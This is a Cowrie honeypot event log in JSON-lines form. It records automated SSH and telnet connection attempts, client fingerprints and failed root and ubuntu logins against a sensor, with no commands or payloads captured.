{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbBB0jzC8ZLEvNF9SEmjKcS5tsDcxb01CKJiZW1PC7TJ+vXFRW8uVUNG6vhq6yzcAktmzORzeyiKCGgVeOBXIYxe8Vhp5f3JRoNQ8ryuSKk8zdRQtY323erqqc8CsxNtmmSppT5H35ADmZ7FgidTq4cIPtoqsCMTRP6V8hdb3QE21Bx4sylID8lO/S6EelmQ8WZ1YHJwZRJ422LZF+k9925p0Zu6voBgxdTLWup+/TNnzJOrhilgbcqDmllfk6b+azVwEURow1YwpFD0B+5WSABapSkWhIUfHy8hJiBWeZhKtDEbSJhBETmrT424Hh7NDGxm/P73uCmppGekl+rHfB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.396204Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:25.405164Z","src_ip":"104.237.147.156","session":"c2f8dcae3c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.77.9.130","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e1de51cf77","protocol":"ssh","message":"New connection: 204.77.9.130:48190 (10.17.0.5:22) [session: 86e1de51cf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:39.856189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:39.860537Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:39.924971Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy1aPbhq+YBQhBuyXy02QgEraVrTRcIQFRqP/yoCR7lBj9HVxzuCqCSSpdV3qoUt5aSaXo3I4uzh3U4YhTZBFKHiVXL7ndr2sL/3suFrbJzuMswIQ3STVHAd0ZWiuY72C4njkHfgcGM0Xs3njma3yZglChSrzEiM2/EhtRMOET1xmtkauQfnoqV7G9T/hoHEpMCb92QpfmjtEI5FTsKdtUw0FO8XFoh155pV3cVqiaYpVLUB704pcXvebtnqAoFQBvx1GlbzmLiwpISWeIp7T5X5shvACECf/4Q7pJqCiR4JcdZ6FC0qEYROFqDuNKyBipD1o41/amAn6ZJzkPInuiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.231240Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:31:27:9c:fb:a7:8a:e6:9b:c8:30:a7:12:23:2b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy1aPbhq+YBQhBuyXy02QgEraVrTRcIQFRqP/yoCR7lBj9HVxzuCqCSSpdV3qoUt5aSaXo3I4uzh3U4YhTZBFKHiVXL7ndr2sL/3suFrbJzuMswIQ3STVHAd0ZWiuY72C4njkHfgcGM0Xs3njma3yZglChSrzEiM2/EhtRMOET1xmtkauQfnoqV7G9T/hoHEpMCb92QpfmjtEI5FTsKdtUw0FO8XFoh155pV3cVqiaYpVLUB704pcXvebtnqAoFQBvx1GlbzmLiwpISWeIp7T5X5shvACECf/4Q7pJqCiR4JcdZ6FC0qEYROFqDuNKyBipD1o41/amAn6ZJzkPInuiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.235683Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+KJ4UI0Oe/wJ59PE10JZXtnSMcmcVLzTDeLcvmSMAYkt5lxOlY3cnM5tCmBcii+efgwFz/9Z/igd0U/nYtorqQn8y38GADFwSgv3+JfgKz+izT90G7g4aMrOVHidO2y1/2EnDsxiSXRNuTj9mCB718G5fRMb0s8tNP7Mz9szKqMptVTl+1eaqTjG9IGStB1vFBAC1D8SVytp1L/2WM85m1jXidrCkhY/Psl31gH/iIV9M55uTBVLoKuBnMs9ASrbwwLWxJOLLkooNmitYsh/HkiK4qJ9YN34Z4UvbwTtOf0xaH6CbLnz/Cky9O4tgAU36MjDwtVZfytaOJfjk2lut","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.302572Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:6a:11:da:03:ae:09:d2:2e:fe:6f:b8:ba:fe:c0:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+KJ4UI0Oe/wJ59PE10JZXtnSMcmcVLzTDeLcvmSMAYkt5lxOlY3cnM5tCmBcii+efgwFz/9Z/igd0U/nYtorqQn8y38GADFwSgv3+JfgKz+izT90G7g4aMrOVHidO2y1/2EnDsxiSXRNuTj9mCB718G5fRMb0s8tNP7Mz9szKqMptVTl+1eaqTjG9IGStB1vFBAC1D8SVytp1L/2WM85m1jXidrCkhY/Psl31gH/iIV9M55uTBVLoKuBnMs9ASrbwwLWxJOLLkooNmitYsh/HkiK4qJ9YN34Z4UvbwTtOf0xaH6CbLnz/Cky9O4tgAU36MjDwtVZfytaOJfjk2lut","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.305498Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNilGwc4P5dbXwJONHH7E+Wjd85Ojj7kB5yNZcqpd889xKaEeB5tEu7+ADi+IMNcBcU/sT7bGR7zB1G0LHO7WjFl38PCfxIWsrqgAgrr/jT/4iHZ7txHZBNuwn6XfGcl9iEsAX/tECmk3Z/CygwWpBg85asrNyW4T9UhixEKZA+IcbCK2CkkCjmS62pPek5y72+NotnQuwYpS6yytndy+R4RyH4l0P7RXH/FQT44MlEOeCN9sW5cy9wIF+W4Fy+BxFim4Cxkq8KR6uggli5Obzstl3yeLv9X26Wi592dJKeAfhFd/cf9AClW86wIwYAj5FdwzvTHzP7oyUrAGHlIyX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.374645Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:8c:db:09:85:3b:b5:e9:2d:9b:77:3f:58:51:66:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNilGwc4P5dbXwJONHH7E+Wjd85Ojj7kB5yNZcqpd889xKaEeB5tEu7+ADi+IMNcBcU/sT7bGR7zB1G0LHO7WjFl38PCfxIWsrqgAgrr/jT/4iHZ7txHZBNuwn6XfGcl9iEsAX/tECmk3Z/CygwWpBg85asrNyW4T9UhixEKZA+IcbCK2CkkCjmS62pPek5y72+NotnQuwYpS6yytndy+R4RyH4l0P7RXH/FQT44MlEOeCN9sW5cy9wIF+W4Fy+BxFim4Cxkq8KR6uggli5Obzstl3yeLv9X26Wi592dJKeAfhFd/cf9AClW86wIwYAj5FdwzvTHzP7oyUrAGHlIyX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.378278Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.453125Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.456926Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbBB0jzC8ZLEvNF9SEmjKcS5tsDcxb01CKJiZW1PC7TJ+vXFRW8uVUNG6vhq6yzcAktmzORzeyiKCGgVeOBXIYxe8Vhp5f3JRoNQ8ryuSKk8zdRQtY323erqqc8CsxNtmmSppT5H35ADmZ7FgidTq4cIPtoqsCMTRP6V8hdb3QE21Bx4sylID8lO/S6EelmQ8WZ1YHJwZRJ422LZF+k9925p0Zu6voBgxdTLWup+/TNnzJOrhilgbcqDmllfk6b+azVwEURow1YwpFD0B+5WSABapSkWhIUfHy8hJiBWeZhKtDEbSJhBETmrT424Hh7NDGxm/P73uCmppGekl+rHfB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.528830Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:82:bc:d6:08:d2:a3:e5:08:6f:1c:06:b3:1f:19:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbBB0jzC8ZLEvNF9SEmjKcS5tsDcxb01CKJiZW1PC7TJ+vXFRW8uVUNG6vhq6yzcAktmzORzeyiKCGgVeOBXIYxe8Vhp5f3JRoNQ8ryuSKk8zdRQtY323erqqc8CsxNtmmSppT5H35ADmZ7FgidTq4cIPtoqsCMTRP6V8hdb3QE21Bx4sylID8lO/S6EelmQ8WZ1YHJwZRJ422LZF+k9925p0Zu6voBgxdTLWup+/TNnzJOrhilgbcqDmllfk6b+azVwEURow1YwpFD0B+5WSABapSkWhIUfHy8hJiBWeZhKtDEbSJhBETmrT424Hh7NDGxm/P73uCmppGekl+rHfB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.532436Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:40.600866Z","src_ip":"204.77.9.130","session":"86e1de51cf77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.08359980583191,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:43.914913Z","src_ip":"212.55.149.117","session":"6ab807caf7d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.009526014328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:47:52.168237Z","src_ip":"212.55.149.117","session":"5d45ba9d43f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":41850,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c60a991a9e9","protocol":"ssh","message":"New connection: 118.194.229.94:41850 (159.203.135.109:22) [session: 4c60a991a9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:08.548189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:08.552549Z","src_ip":"118.194.229.94","session":"4c60a991a9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:08.710984Z","src_ip":"118.194.229.94","session":"4c60a991a9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"999999","message":"login attempt [ubuntu/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:09.377097Z","src_ip":"118.194.229.94","session":"4c60a991a9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:10.542830Z","src_ip":"118.194.229.94","session":"4c60a991a9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17284,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed78a09c0e60","protocol":"telnet","message":"New connection: 212.55.149.117:17284 (10.17.0.5:23) [session: ed78a09c0e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:14.798915Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33696,"dst_ip":"159.203.135.109","dst_port":23,"session":"1acab19e2b3c","protocol":"telnet","message":"New connection: 128.199.8.54:33696 (159.203.135.109:23) [session: 1acab19e2b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:48:51.231844Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40734,"dst_ip":"159.203.135.109","dst_port":23,"session":"731dcd00cba1","protocol":"telnet","message":"New connection: 128.199.8.54:40734 (159.203.135.109:23) [session: 731dcd00cba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:09.365801Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":43080,"dst_ip":"10.17.0.5","dst_port":22,"session":"81418b8af8c7","protocol":"ssh","message":"New connection: 62.210.246.122:43080 (10.17.0.5:22) [session: 81418b8af8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:10.980597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:10.992396Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.068335Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEIU1L9qFqWVaTvbF1MP+Iuj83nJL8QuyE/XQMJ8fwZThuJ6Epa1cncPzUyawIW/ZvYdfK663Xzn4wGZSil1uX0c+NIWm8meqTcsD9iBjfWg4XectrNovkfSvtdGSnNnU5Nh9DJ25ZJSDw9kTZZYrsM5t23H+y1iFwW0Bs0ogqoC/FVjoY/Yj+SnpEgicieQMFoKXRWZ/z1lbZlYU6lfIsIhQVIMiASP0qhBDIeqXuXdGANpe9CccmqiZy1UWKrNp+1l1aP4feJy+NX+GaOjDW+Hn8Jv5y6Xw2dVWTycIY1GyaiYm3V9uRkzdhbe39l254mGmHwRDneeIqMjmwJK3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.458256Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:76:fa:24:b3:a3:08:2b:20:73:f8:b0:58:b2:7c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEIU1L9qFqWVaTvbF1MP+Iuj83nJL8QuyE/XQMJ8fwZThuJ6Epa1cncPzUyawIW/ZvYdfK663Xzn4wGZSil1uX0c+NIWm8meqTcsD9iBjfWg4XectrNovkfSvtdGSnNnU5Nh9DJ25ZJSDw9kTZZYrsM5t23H+y1iFwW0Bs0ogqoC/FVjoY/Yj+SnpEgicieQMFoKXRWZ/z1lbZlYU6lfIsIhQVIMiASP0qhBDIeqXuXdGANpe9CccmqiZy1UWKrNp+1l1aP4feJy+NX+GaOjDW+Hn8Jv5y6Xw2dVWTycIY1GyaiYm3V9uRkzdhbe39l254mGmHwRDneeIqMjmwJK3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.461830Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsrKBj1XZ0IrOkM2Eh6LQfCMNybEjuGxto3M8BxXM6uO7fLrakF0WeDLD+XXZ8QSiW139Batt19I++7wf49MUkZNMgR6QOVCiJfPqYQmC79PcIAeTWyiShVp2rUWcwRgHr3iMTY6xirBgEKtkVi1ERrgmzDZ/I5Q9pMgSi3LvI4oTy6+1sl3qWTmMig4iRi9U67DTc7sZp6wkIKqvshh43aRFnHcEsaKM4B1t11foDJ6lh+DHmT7GQ3oW7ucGHgnoCam3YGKwjxp+80NtIerdgMrV2c7bsL/sT8SbvEuFyOl6cNDW5n7gWGTqS/sRxjcoCOU77ug9kXHootPrgLEpTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:6c:e0:46:b2:23:75:1e:ad:5a:89:36:7f:54:85:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:49:11.546471Z","src_ip":"62.210.246.122","session":"81418b8af8c7","protocol":"ssh"}
